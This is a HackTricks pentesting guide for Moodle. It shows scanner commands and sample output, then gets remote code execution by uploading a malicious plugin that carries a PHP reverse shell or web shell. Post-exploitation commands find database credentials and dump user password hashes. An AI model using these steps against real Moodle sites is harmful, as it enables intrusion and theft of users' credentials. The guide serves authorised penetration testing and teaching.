hacktricks/pentesting/pentesting-web/moodle.md

# Moodle

## Automatic Scans

### droopescan

```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:                                                              
    forum http://moodle.schooled.htb/moodle/mod/forum/
        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
        http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
    3.10.0-beta

[+] Possible interesting urls found:
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
    Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)
```

### moodlescan

```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl
	
.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.
```

### CMSMap

```bash
pip3 install cmsmap
cmsmap http://moodle.example.com/<moodle_path>
```

### CVEs

I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)****

## **RCE**

You need to have **manager** role and you **can install plugins** inside the** "Site administration" **tab**:**

![](<../../.gitbook/assets/image (447).png>)

If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).

Then, you can** install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Or you could use the plugin from [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell with the "cmd" parameter.

To access launch the malicious plugin you need to access to:

```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

## POST

### Find database credentials

```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```

### Dump Credentials from database

```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```